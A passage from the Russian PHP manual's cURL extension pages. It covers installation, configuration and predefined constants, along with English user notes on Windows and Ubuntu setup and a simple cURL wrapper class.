curl_setopt($process,CURLOPT_ENCODING , $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if ($this->proxy) curl_setopt($process, CURLOPT_PROXY, $this->proxy);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
$return = curl_exec($process);
curl_close($process);
return $return;
}
function post($url,$data) {
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 1);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEFILE, $this->cookie_file);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEJAR, $this->cookie_file);
curl_setopt($process, CURLOPT_ENCODING , $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if ($this->proxy) curl_setopt($process, CURLOPT_PROXY, $this->proxy);
curl_setopt($process, CURLOPT_POSTFIELDS, $data);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($process, CURLOPT_POST, 1);
$return = curl_exec($process);
curl_close($process);
return $return;
}
function error($error) {
echo "<center><div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'><b>cURL Error</b><br>$error</div></center>";
die;
}
}
$cc = new cURL();
$cc->get('http://www.example.com');
$cc->post('http://www.example.com','foo=bar');
?>

[EDIT BY danbrown AT php DOT net: Includes a bugfix provided by "Anonymous" on 01-Dec-2008 @ 06:52.  Also replaced real URL with example.com as per RFC 2606.]

[EDIT BY danbrown AT php DOT net: Includes a bugfix provided by (manuel AT rankone DOT ch) on 24-NOV-09 to properly reference cURL initialization.]
eflash at gmx dot net 05-Oct-2008 09:45
In order to use curl with secure sites you will need a ca-bundle.crt file; here's a PHP script I've written which creates a fresh ca-bundle:
http://www.gknw.net/php/phpscripts/mk-ca-bundle.php
I've also written scripts in other languages, f.e. the Perl one which ships now with curl distributions:
http://curl.haxx.se/lxr/source/lib/mk-ca-bundle.pl
and also a Win32 WSH script if you prefer that:
http://www.gknw.net/vb/scripts/mk-ca-bundle.vbs

HTH, Guenter.


Введение

В PHP включена поддержка libcurl - библиотека функций, написанной Дэниелом Стенбергом (Daniel Stenberg), которая позволяет взаимодействовать с множеством различных серверов по многим различным протоколам. В настоящее время libcurl поддерживает протоколы http, https, ftp, gopher, telnet, dict, file и ldap. libcurl также умеет работать с сертификатами HTTPS, посылать запросы к HTTP-серверам методами POST и PUT, загружать файлы по протоколам HTTP и FTP (последнее можно сделать с помощью модуля FTP), использовать прокси-серверы, cookies и аутентификацию пользователей.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для использования функций cURL в PHP необходимо установить пакет » libcurl. Необходимо использовать версию libcurl 7.10.5 или новее. Начиная с PHP 7.3.0, требуется версия 7.15.5 или новее. Начиная с PHP 8.0.0, требуется версия 7.29.0 или новее.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Для использования cURL необходимо собрать PHP с опцией --with-curl[=DIR], где DIR - имя каталога, содержащего подкаталоги lib и include. Каталог include должен содержать подкаталог curl с файлами easy.h и curl.h. В каталоге lib должен быть файл libcurl.a.

Замечание: Замечание для пользователей Win32
Для работы с этим модулем в Windows файлы libeay32.dll и ssleay32.dll, либо, начиная с OpenSSL 1.1, libcrypto-*.dll и libssl-*.dll, должны существовать в системной переменной окружения PATH. Также libssh2.dll должен присутствовать в вашей переменной окружения PATH. Вам не требуется файл libcurl.dll с сайта cURL.

User Contributed Notes

NV 15-Apr-2022 12:28
If trying to get installed on Windows (I was using Windows 10, Apache 2.4, PHP 8.1) and the curl module isn't loading and PHP is showing/logging the following error but <phpPath>\ext\php_curl.dll does exist:

[14-Apr-2022 23:41:36 UTC] PHP Warning:  PHP Startup: Unable to load dynamic library 'curl' (tried: <phpPath>\ext\curl (The specified module could not be found), <phpPath>\ext\php_curl.dll (The specified module could not be found)) in Unknown on line 0

The problem is not that it can't find the module but that it can't find its dependencies (ie <phpPath>\libcrypto-1.1.dll and libssl-1.1.dll or similar).  As described in other comments,  you need to add <phpPath> to the Systerm Variables, PATH variable.

But, if you are starting Apache as a service, the default is for the service to run under the Local System account. In that case, ****YOU NEED TO REBOOT**** for the change in the PATH variable to be updated for the Local System account (see the following for reference:
https://stackoverflow.com/questions/32068893/how-to-change-path-value-for-local-system-account-in-ms-windows)
sharif dot golang at gmail dot com 04-Feb-2021 02:11
I tried with that and it's properly works.
dave at omgomg dot co dot uk 21-Aug-2020 07:56
To get curl working on win64 with apache 2.4 and php 7.4 i had to add to the path
C:\Apache24\bin\
C:\php\
Windows+ 10-Apr-2020 09:33
if you cant solve this "Fatal error: Uncaught Error: Call to undefined function curl_init()" on WINDOWS

Try add to this strings to apache config (httpd.conf):

LoadFile "C:\Program Files\Apache\php\libssh2.dll"
LoadFile "C:\Program Files\Apache\php\libcrypto-1_1-x64.dll"
LoadFile "C:\Program Files\Apache\php\libssl-1_1-x64.dll"

and restart apache (dont forget to use your php folder name);

Moving this files to apache or windows folder, dont work for me:

libeay32.dll (libcrypto-*.dll)
libssh2.dll
ssleay32.dll (libssl-*.dll)
Greg 27-Dec-2019 06:30
For those who may be having WordPress issues relating to curl, the answer for me was that the curl.cainfo wasn't specified in the config.  This resulted in a plugin giving some non-graceful errors for which I was finally able to track it down.

curl.cainfo = "C:\php\extras\ssl\cacert.pem"

You'll need a copy of the cacert.pem (doesn't come with PHP and does need to be updated every so often can be found at an official permalink of:
https://curl.haxx.se/ca/cacert.pem

They use a modified version of Mozilla's certificate store meant to work with libcurl.

I'm not an expert, this is just what fixed the errors for me.

(cacert.pem lists official root certificate providers so your computer knows which ones its safe to authenticate against is my lay interpretation.  I'm sure it's not technically accurate but close enough for us lay people.)
Tovster 23-Jun-2019 10:06
I had curl not working in Windows with Apache 2.4 and PHP 7.3 - Strangly phpinfo showed author but not curl section/panel.

I changed the widows path to include the PHP directory and after a reboot it started working.

You can change the windows path in Control Panel -> System -> Advanced System Settings -> Advanced -> Environment Variables  then edit the path variable in "System Variables"
1004707812 at qq dot com 08-Feb-2018 06:32
Win10 64bit, php7 x64,apache x64
It's important to set " extension_dir = "X:/WAMP/php/ext" " clearly in php.ini .
Remember some names of dll has changed recently, specially in the  x64 environment.
anonymous 26-Jan-2018 10:38
Upgrading to php 7.1.6 on Apache 2.4 32bit version Windows 7 x64

this curl  implementation works:

1.   C:/(path to php folder)/php.ini
enable extension=php_curl.dll

libeay32.dll, ssleay32.dll, libssh2.dll find directly in php7 folder

2. add this to Apache/conf/httpd.conf
# load curl and open ssl libraries
LoadFile "C:/(path to php folder)/libeay32.dll"
LoadFile "C:/(path to php folder)/ssleay32.dll"
LoadFile "C:/(path to php folder)/libssh2.dll"
epos_jk 27-Nov-2017 04:22
You dont need to copy files to use PHP CURL with Apache 2.4 - use the LoadFile directive in your apache config file instead:
LoadFile "C:/php7/libssh2.dll"
(that was all it took for me to get it work)
epos_jk 27-Nov-2017 04:21
Beginning with version 1.1.0 OpenSSL did change their libary names!
libeay32.dll is now libcrypto-*.dll (e.g. libcrypto-1_1-x64.dll for OpenSSL 1.1.x on 64bit windows)
ssleay32.dll is now libssl-*.dll (e.g. libssl-1_1-x64.dll for OpenSSL 1.1.x on 64bit windows)
karliskavacis at gmail dot com 22-Feb-2016 08:07
In my case, while running Windows 10 and Apache Httpd 2.4, I had to add my PHP7 root directory to Windows PATH and it resolved issues with failing to load couple of PHP extensions.
lymer at ca dot ibm dot com 29-Jul-2015 07:09
For Windows 7 (64 bit), ensure you not only enable the curl extension (i.e. uncomment "extension=php_curl.dll" in php.ini) as described in this manual, but also set the extension directory for Windows (e.g. extension_dir = "ext") in the php.ini file.  Adding / copying dll files or changing the system path were not necessary.  (Versions used: Apache 2.4.1 (Win64) and PHP 5.5.15.)
Developtus.com 29-May-2015 03:38
Upgrading to php 5.6.9 on Windows 7 x64 curl no longer is recognised. No errors on server start package just not available and didn't show in phpinfo.php. deplister.exe was ok
I fixed coping the following list files from php folder (in my case D:\xampp\php)
libeay32.dll
libssh2.dll
ssleay32.dll
to c:\xampp\apache\bin (or your apache\bin path), restart apache and works fine, apache's libraries were outdated
jorijnsmit at gmail dot com 22-Mar-2014 06:44
It is not necessary to always (re)compile PHP. For me it was sufficient to install php5-curl and restart Apache:

$ sudo apt-get install php5-curl
$ sudo /etc/init.d/apache2 restart
TristanV 13-Dec-2013 11:41
If you are running on Windows with a Wampserver or alike preconfigured PHP, if you did everything that was advised (path is correct, dlls are in the System32 or the Wow64 folder, php_curl extension uncommented in the php.ini, rebooted your machine and restarted your services), and you still receive messages saying that curl is not installed :
- maybe you are running a command line script (and not a curl instruction within a web application). If yes, remember that there are 2 distinct php.ini configuration files : one for the php-cli commands (run php at command line) and one for the php instructions (run from a page in your www folder).
Wampserver's menuitem "php.ini" only opens the webserver's php.ini, not the php-cli one.
So it will be great to check your php-cli's php.ini configuration file ! (you'll find it in the php.exe's installation folder)
You need to uncomment the extension php_curl in this php.ini file for the command lines to work with curl.
Also uncomment the php_openssl extention by the way (often used with curl).
I hope this fixed issue will help someone else :)
jmichieli76 at yahoo dot ca 18-Jun-2012 02:03
It should be noted that on a standard installation of php 5.2.17 on windows has this functionality installed and enabled by default.
Joseph Marlin 13-Jun-2011 10:57
Ubuntu 11.04

I already had Apache and PHP5 setup, but simply adding php5-curl and curl did *not* work. I also had to get libcurl3 and libcurl3-dev. The full command:

sudo apt-get install curl libcurl3 libcurl3-dev php5-curl

You'll know if it works because phpinfo() will get a new section with Curl info.
wixelbomb at yahoo dot com 28-Dec-2009 11:17
Just an additional note for Windows XP installations ...

The instructions others have courteously given still lack one small item for those who have the Windows/system32 directory as the repository for the .dll files concerned with php_curl.

Go to the ext directory of your php installation and copy php_curl.dll  to the Windows/system32 folder after you have followed the advise given elsewhere.

So ...
1) remove ';' from extension=php_curl.dll in php.ini
2) ensure that  ssleay32.dll and libeay32.dll are in Windows/system32.
3) Copy php_curl.dll into Windows\System32 as well.

G'day

bearstate
regs at voidship dot net 23-Sep-2008 09:45
If you're dense like I am, spare yourself the trouble on an Ubuntu system (probably Debian too) and...

$ sudo apt-get install php5-curl

Then feel dumb, but not as dumb as me.
cristianods at yahoo dot com 14-Aug-2008 06:53
Tip for Installing cURL with AppServ development server on Windows

If you are running AppServ as a WAMP development environment on a Windows machine, you may experience difficulty installing cURL. Here are some helpful steps:

First go to the PHP directory and copy the following libraries to the windows/system32 dir.
ssleay32.dll
libeay32.dll

Open the php ini file and remove the ; from extension=php_curl.dll

Reboot your machine to load [...]
comments at adstation-systems dot com 09-Aug-2008 08:23
You may be confused, as I was, by the instructions for installing cURL in php.  The instruction "To use PHP's cURL support you must also compile PHP --with-curl[=DIR]..." was murky to me, since I didn't compile php when I installed it.  I just copied all of the necessary files to the correct folders as described very clearly in the php manual.

I am using Windows XP and Apache with php 5.1.6. In this situation, and it may apply to php versions of 5.0 and later, all one needs to do is remove the ";" from the front of the directive extension=php_curl.dll.  You should also check to make certain that libeay32.dll and ssleay32.dll are in your php directory with the other dll's.  This directory should already be in you path, so the instruction to put them in you path is not critical.

You can then run phpinfo() and you should see a heading for curl in the listing.

Succinctly, my installation of cURL consisted of removing the semi-colon in front of the ;extension=php_curl.dll line in php.ini, saving php.ini and restarting Apache.  You may wish to try this if you are using php 5.0 and later and are having difficulty understanding the instructions on the cURL installation page at php.net

You might also find the information at http://curl.phptrack.com/forum/viewtopic.php?t=52 useful.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Настройки конфигурации cURL
Имя | По умолчанию | Место изменения | Список изменений
curl.cainfo | NULL | PHP_INI_SYSTEM |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

curl.cainfo string

Значение по умолчанию для директивы CURLOPT_CAINFO. Данное значение должно быть указано в виде абсолютного пути.

User Contributed Notes

knuklus at gmail dot com 17-Sep-2021 06:33
cURL error 60: SSL certificate problem: unable to get local issuer certificate

This problem can occur when developing locally on windows. I am using windows 10 (x64)

In order to fix the error, I downloaded cacert.pem from https://curl.haxx.se/docs/caextract.html

Set the following value for in php.ini

curl.cainfo = "C: \ php-8.0.7 \ extras \ ssl \ cacert.pem"
ajith at pavanathara dot com 04-Sep-2020 07:02
I was editing wrong php.ini file in last comment.

Even though loaded configuration path was showing as "D:\wamp64\bin\apache\apache2.4.37\bin\php.ini" inside phpinfo() of WAMP Server, It was actually loading "D:\wamp64\bin\apache\apache2.4.37\bin\phpForApache.ini"

Once I set both the variables inside phpForApache.ini, details are displayed in phpinfo() and error has gone without extra coding line.
ajith at pavanathara dot com 04-Sep-2020 05:36
cURL error 60: SSL certificate problem: unable to get local issuer certificate

This local development error comes when curl.cainfo variable is not set correctly.

I faced this issue in PHP Version 7.3.1

In order to fix the error, I downloaded cacert.pem from https://curl.haxx.se/docs/caextract.html

Set the following paths in php.ini

curl.cainfo="D:\wamp64\bin\php\php7.3.1\extras\ssl\cacert.pem"
openssl.cafile="D:\wamp64\bin\php\php7.3.1\extras\ssl\cacert.pem"

Even after adding the paths and restart Apache, Inside phpinfo(), both the paths were showing blank.

The error will go only if we set via php code of the project.

Example code worked for me :-

$guzzle = new \GuzzleHttp\Client(['verify' => 'D:\wamp64\bin\php\php7.3.1\extras\ssl\cacert.pem']);
ASchmidt at Anamera dot net 12-May-2019 10:34
As of PHP 7.2 (Win 64) this directive, will NOT show in the phpinfo() even though it's set.

(In comparison, an openssl.cafile directive will show, if it's set to the exact same path).


Типы ресурсов

До PHP 8.0.0 модуль определял три типа ресурсов: дескриптор curl, дескриптор curl_multi и дескриптор curl_share.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Описания и примеры работы с этими константами изложены в документации функций curl_setopt(), curl_multi_setopt() и curl_getinfo().

CURLOPT_AUTOREFERER (int)
CURLOPT_COOKIESESSION (int)
CURLOPT_DOH_URL (int)
Указывает URL-адрес сервера DNS поверх HTTPS. Доступно начиная с PHP 8.1.0 и cURL 7.62.0.
CURLOPT_DOH_SSL_VERIFYHOST (int)
Сопоставляет имена полей SSL-сертификата сервера DNS поверх HTTPS с именем хоста. Доступно начиная с PHP 8.2.0 и cURL 7.76.0.
CURLOPT_DOH_SSL_VERIFYPEER (int)
Проверяет подлинность SSL-сертификата сервера DNS поверх HTTPS. Доступно начиная с PHP 8.2.0 и cURL 7.76.0.
CURLOPT_DOH_SSL_VERIFYSTATUS (int)
Сообщает cURL, чтобы он проверил статус сертификата сервера DNS поверх HTTPS используя модуль TLS "Certificate Status Request" (OCSP-сшивание). Доступно начиная с PHP 8.2.0 и cURL 7.76.0.
CURLOPT_DNS_USE_GLOBAL_CACHE (int)
CURLOPT_DNS_CACHE_TIMEOUT (int)
CURLOPT_FTP_SSL (int)
CURLFTP_CREATE_DIR (int)
Доступно с PHP 7.0.7 и cURL 7.19.3.
CURLFTP_CREATE_DIR_NONE (int)
Доступно с PHP 7.0.7 и cURL 7.19.3.
CURLFTP_CREATE_DIR_RETRY (int)
Доступно с PHP 7.0.7 и cURL 7.19.3
CURLFTPSSL_TRY (int)
CURLFTPSSL_ALL (int)
CURLFTPSSL_CONTROL (int)
CURLFTPSSL_NONE (int)
CURLFTPMETHOD_DEFAULT (int)
Доступно начиная с PHP 8.2.0 и cURL 7.15.3.
CURLOPT_PRIVATE (int)
CURLOPT_FTPSSLAUTH (int)
CURLOPT_PORT (int)
CURLOPT_FILE (int)
CURLOPT_INFILE (int)
CURLOPT_INFILESIZE (int)
CURLOPT_ISSUERCERT_BLOB (int)
Сертификат SSL эмитента из большого двоичного объекта памяти. Доступно начиная с PHP 8.1.0 и cURL 7.71.0.
CURLOPT_URL (int)
CURLOPT_PROXY (int)
CURLOPT_PROXY_ISSUERCERT (int)
Имя файла сертификата SSL эмитента прокси. Доступно начиная с PHP 8.1.0 и cURL 7.71.0.
CURLOPT_PROXY_ISSUERCERT_BLOB (int)
SSL-сертификат эмитента прокси из большого двоичного объекта памяти. Доступно начиная с PHP 8.1.0 и cURL 7.71.0.
CURLOPT_PROXY_SSLCERT_BLOB (int)
Сертификат клиента прокси SSL из большого двоичного объекта памяти. Доступно начиная с PHP 8.1.0 и cURL 7.71.0.
CURLOPT_PROXY_SSLKEY_BLOB (int)
Закрытый ключ для сертификата прокси из большого двоичного объекта памяти. Доступно начиная с PHP 8.1.0 и cURL 7.71.0.
CURLOPT_VERBOSE (int)
CURLOPT_ALTSVC (int)
Доступно начиная с PHP 8.2.0 и cURL 7.64.1.
CURLOPT_ALTSVC_CTRL (int)
Доступно начиная с PHP 8.2.0 и cURL 7.64.1.
CURLALTSVC_H1 (int)
Доступно начиная с PHP 8.2.0 и cURL 7.64.1.
CURLALTSVC_H2 (int)
Доступно начиная с PHP 8.2.0 и cURL 7.64.1.
CURLALTSVC_H3 (int)
Доступно начиная с PHP 8.2.0 и cURL 7.64.1.
CURLALTSVC_READONLYFILE (int)
Доступно начиная с PHP 8.2.0 и cURL 7.64.1.
CURLOPT_HEADER (int)
CURLOPT_HTTPHEADER (int)
CURLOPT_NOPROGRESS (int)
CURLOPT_NOBODY (int)
CURLOPT_FAILONERROR (int)
CURLOPT_UPLOAD (int)
CURLOPT_UPLOAD_BUFFERSIZE (int)
Доступно начиная с PHP 8.2.0 и cURL 7.62.0.
CURLOPT_POST (int)
CURLOPT_FTPLISTONLY (int)
CURLOPT_FTPAPPEND (int)
CURLOPT_FTP_CREATE_MISSING_DIRS (int)
CURLOPT_NETRC (int)
CURLOPT_FOLLOWLOCATION (int)
Эта опция недоступна, если разрешён open_basedir.
CURLOPT_FTPASCII (int)
CURLOPT_PUT (int)
CURLOPT_MUTE (int)
Удалено в cURL 7.15.5; вместо неё используйте константу CURLOPT_RETURNTRANSFER.
CURLOPT_USERPWD (int)
CURLOPT_PROXYUSERPWD (int)
CURLOPT_RANGE (int)
CURLOPT_TIMEOUT (int)
CURLOPT_TIMEOUT_MS (int)
CURLOPT_TCP_NODELAY (int)
CURLOPT_POSTFIELDS (int)
CURLOPT_PROGRESSFUNCTION (int)
CURLOPT_REFERER (int)
CURLOPT_USERAGENT (int)
CURLOPT_FTPPORT (int)
CURLOPT_FTP_USE_EPSV (int)
CURLOPT_LOW_SPEED_LIMIT (int)
CURLOPT_LOW_SPEED_TIME (int)
CURLOPT_RESUME_FROM (int)
CURLOPT_COOKIE (int)
CURLOPT_COOKIELIST (int)
Доступно с cURL 7.14.1.
CURLOPT_SSLCERT (int)
CURLOPT_SSLCERT_BLOB (int)
Сертификат клиента SSL из большого двоичного объекта памяти. Доступно начиная с PHP 8.1.0 и cURL 7.71.0.
CURLOPT_SSLCERTPASSWD (int)
CURLOPT_SSLKEY_BLOB (int)
Закрытый ключ для сертификата клиента из большого двоичного объекта памяти. Доступно начиная с PHP 8.1.0 и cURL 7.71.0.
CURLOPT_WRITEHEADER (int)
CURLOPT_SSL_VERIFYHOST (int)
CURLOPT_COOKIEFILE (int)
CURLOPT_SSLVERSION (int)
CURL_SSLVERSION_DEFAULT (int)
CURL_SSLVERSION_TLSv1 (int)
CURL_SSLVERSION_SSLv2 (int)
CURL_SSLVERSION_SSLv3 (int)
CURL_SSLVERSION_TLSv1_0 (int)
CURL_SSLVERSION_TLSv1_1 (int)
CURL_SSLVERSION_TLSv1_2 (int)
CURL_SSLVERSION_TLSv1_3 (int)
CURLOPT_TIMECONDITION (int)
CURLOPT_TIMEVALUE (int)
CURLOPT_CUSTOMREQUEST (int)
CURLOPT_STDERR (int)
CURLOPT_TRANSFERTEXT (int)
CURLOPT_RETURNTRANSFER (int)
CURLOPT_QUOTE (int)
CURLOPT_POSTQUOTE (int)
CURLOPT_INTERFACE (int)
CURLOPT_KRB4LEVEL (int)
CURLOPT_HTTPPROXYTUNNEL (int)
CURLOPT_FILETIME (int)
CURLOPT_WRITEFUNCTION (int)
CURLOPT_READFUNCTION (int)
CURLOPT_PASSWDFUNCTION (int)
Удалено в PHP 7.3.0.
CURLOPT_HEADERFUNCTION (int)
CURLOPT_MAXAGE_CONN (int)
Доступно начиная с PHP 8.2.0 и cURL 7.65.0.
CURLOPT_MAXFILESIZE_LARGE (int)
Доступно начиная с PHP 8.2.0 и cURL 7.11.0.
CURLOPT_MAXLIFETIME_CONN (int)
Доступно начиная с PHP 8.2.0 и cURL 7.80.0.
CURLOPT_MAXREDIRS (int)
CURLOPT_MAXCONNECTS (int)
CURLOPT_FRESH_CONNECT (int)
CURLOPT_FORBID_REUSE (int)
CURLOPT_RANDOM_FILE (int)
CURLOPT_EGDSOCKET (int)
CURLOPT_CONNECTTIMEOUT_MS (int)
CURLOPT_SSL_VERIFYPEER (int)
CURLOPT_CAINFO (int)
CURLOPT_CAINFO_BLOB (int)
Доступно начиная с PHP 8.2.0 и cURL 7.77.0.
CURLOPT_CAPATH (int)
CURLOPT_COOKIEJAR (int)
CURLOPT_SSL_CIPHER_LIST (int)
CURLOPT_SSL_EC_CURVES (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLOPT_BINARYTRANSFER (int)
CURLOPT_NOSIGNAL (int)
CURLOPT_PROXYTYPE (int)
Доступно начиная с cURL 7.10.
CURLOPT_BUFFERSIZE (int)
CURLOPT_HTTPGET (int)
CURLOPT_HTTP_VERSION (int)
CURLOPT_HSTS (int)
Доступно начиная с PHP 8.2.0 и cURL 7.74.0.
CURLOPT_HSTS_CTRL (int)
Доступно начиная с PHP 8.2.0 и cURL 7.74.0.
CURLHSTS_ENABLE (int)
Доступно начиная с PHP 8.2.0 и cURL 7.74.0.
CURLHSTS_READONLYFILE (int)
Доступно начиная с PHP 8.2.0 и cURL 7.74.0.
CURLOPT_SSLKEY (int)
CURLOPT_SSLKEYTYPE (int)
CURLOPT_SSLKEYPASSWD (int)
CURLOPT_SSLENGINE (int)
CURLOPT_SSLENGINE_DEFAULT (int)
CURLOPT_SSLCERTTYPE (int)
CURLOPT_CRLF (int)
CURLOPT_ENCODING (int)
CURLOPT_PROXYPORT (int)
CURLOPT_UNRESTRICTED_AUTH (int)
CURLOPT_FTP_USE_EPRT (int)
CURLOPT_HTTP200ALIASES (int)
CURLOPT_HTTPAUTH (int)
CURLOPT_AWS_SIGV4 (int)
Доступно начиная с PHP 8.2.0 и cURL 7.75.0.
CURLAUTH_BASIC (int)
CURLAUTH_DIGEST (int)
CURLAUTH_GSSNEGOTIATE (int)
CURLAUTH_NEGOTIATE (int)
Доступно начиная с PHP 7.0.7 и cURL 7.38.0.
CURLAUTH_NTLM (int)
CURLAUTH_NTLM_WB (int)
Доступно начиная с PHP 7.0.7 и cURL 7.22.0.
CURLAUTH_ANY (int)
CURLAUTH_ANYSAFE (int)
CURLAUTH_AWS_SIGV4 (int)
Доступно начиная с PHP 8.2.0 и cURL 7.75.0.
CURLOPT_PROXYAUTH (int)
CURLOPT_MAIL_RCPT_ALLLOWFAILS (int)
Доступно начиная с PHP 8.2.0 и cURL 7.69.0.
CURLOPT_UPKEEP_INTERVAL_MS (int)
Доступно начиная с PHP 8.2.0 и cURL 7.62.0.
CURLOPT_MAX_RECV_SPEED_LARGE (int)
Доступно начиная с cURL 7.15.5.
CURLOPT_MAX_SEND_SPEED_LARGE (int)
Доступно начиная с cURL 7.15.5.
CURLOPT_HEADEROPT (int)
Доступно начиная с PHP 7.0.7 и cURL 7.37.0.
CURLOPT_PROXYHEADER (int)
CURLOPT_CONNECTTIMEOUT_MS (int)
Доступно начиная с PHP 7.0.7 и cURL 7.37.0.
CURLINFO_PRIVATE (int)
CURLINFO_EFFECTIVE_URL (int)
CURLINFO_HTTP_CODE (int)
С cURL 7.10.8 это устаревший псевдоним опции CURLINFO_RESPONSE_CODE
CURLINFO_PROXY_ERROR (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_BAD_ADDRESS_TYPE (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_BAD_VERSION (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_CLOSED (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_GSSAPI (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_GSSAPI_PERMSG (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_GSSAPI_PROTECTION (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_IDENTD_DIFFER (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_IDENTD (int)
Доступно начиная с 8.2.0 и cURL 7.73.0.
CURLPX_LONG_HOSTNAME (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_LONG_PASSWD (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_LONG_USER (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_NO_AUTH (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_OK (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_RECV_ADDRESS (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_RECV_AUTH (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_RECV_CONNECT (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_RECV_REQACK (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_REPLY_ADDRESS_TYPE_NOT_SUPPORTED (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_REPLY_COMMAND_NOT_SUPPORTED (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_REPLY_CONNECTION_REFUSED (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_REPLY_GENERAL_SERVER_FAILURE (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_REPLY_HOST_UNREACHABLE (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_REPLY_NETWORK_UNREACHABLE (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_REPLY_NOT_ALLOWED (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_REPLY_TTL_EXPIRED (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_REPLY_UNASSIGNED (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_REQUEST_FAILED (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_RESOLVE_HOST (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_SEND_AUTH (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_SEND_CONNECT (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_SEND_REQUEST (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_UNKNOWN_FAIL (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_UNKNOWN_MODE (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLPX_USER_REJECTED (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLINFO_REFERER (int)
Доступно начиная с PHP 8.2.0 и cURL 7.76.0.
CURLINFO_RESPONSE_CODE (int)
Доступно с cURL 7.10.8
CURLINFO_RETRY_AFTER (int)
Доступно начиная с PHP 8.2.0 и cURL 7.66.0.
CURLINFO_HEADER_OUT (int)
CURLINFO_HEADER_SIZE (int)
CURLINFO_REQUEST_SIZE (int)
CURLINFO_TOTAL_TIME (int)
CURLINFO_NAMELOOKUP_TIME (int)
CURLINFO_CONNECT_TIME (int)
CURLINFO_PRETRANSFER_TIME (int)
CURLINFO_SIZE_UPLOAD (int)
CURLINFO_SIZE_DOWNLOAD (int)
CURLINFO_SPEED_DOWNLOAD (int)
CURLINFO_SPEED_UPLOAD (int)
CURLINFO_FILETIME (int)
CURLINFO_SSL_VERIFYRESULT (int)
CURLINFO_CONTENT_LENGTH_DOWNLOAD (int)
CURLINFO_CONTENT_LENGTH_UPLOAD (int)
CURLINFO_STARTTRANSFER_TIME (int)
CURLINFO_CONTENT_TYPE (int)
CURLINFO_REDIRECT_TIME (int)
CURLINFO_REDIRECT_COUNT (int)
CURLINFO_REDIRECT_URL (int)
CURLINFO_PRIMARY_IP (int)
CURLINFO_PRIMARY_PORT (int)
CURLINFO_LOCAL_IP (int)
CURLINFO_LOCAL_PORT (int)
CURL_PUSH_OK (int)
Доступно с PHP 7.1.0 и cURL 7.44.0.
CURL_PUSH_DENY (int)
Доступно с PHP 7.1.0 и cURL 7.44.0.
CURL_REDIR_POST_301 (int)
Доступно с PHP 7.0.7 и cURL 7.18.2.
CURL_REDIR_POST_302 (int)
Доступно с PHP 7.0.7 и cURL 7.18.2.
CURL_REDIR_POST_303 (int)
Доступно с PHP 7.0.7 и cURL 7.25.1.
CURL_REDIR_POST_ALL (int)
Доступно с PHP 7.0.7 и cURL 7.18.2.
CURL_TIMECOND_NONE (int)
CURL_TIMECOND_IFMODSINCE (int)
CURL_TIMECOND_IFUNMODSINCE (int)
CURL_TIMECOND_LASTMOD (int)
CURL_VERSION_ALTSVC (int)
Доступно с PHP 7.3.6 и cURL 7.64.1.
CURL_VERSION_ASYNCHDNS (int)
